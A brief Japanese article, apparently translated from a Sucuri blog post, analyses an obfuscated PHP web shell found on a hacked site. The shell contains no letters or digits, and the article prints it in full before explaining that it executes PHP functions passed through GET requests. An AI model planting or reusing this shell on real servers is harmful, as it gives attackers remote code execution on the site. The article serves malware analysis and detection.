単一の英数字を含まないPHPシェル

昨日、奇妙な質問がSucuriのブログに登場しました。サイトの所有者は、ハッキングされたことを発見したため、次の悪意のあるコードを見つけて非常に驚きました。 彼は正確に何をしていますか?

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
      
      





ご覧のとおり、コードには関数呼び出しも、英数字も含まれていません。



Sucuriのプログラマーの1人であるYorman Ariasは、コードをより読みやすい形式に配置し、出力を確認するためにvar_dump()でコードの各行をラップしました。



画像



その結果、「何らかのブールマジック」のような曖昧なフレーズを使用してコードを分析すると、マルウェアの目的はGETリクエストを使用して渡されるPHP関数を実行することであるという結論に達します。



技術的な詳細はこちらです。



All Articles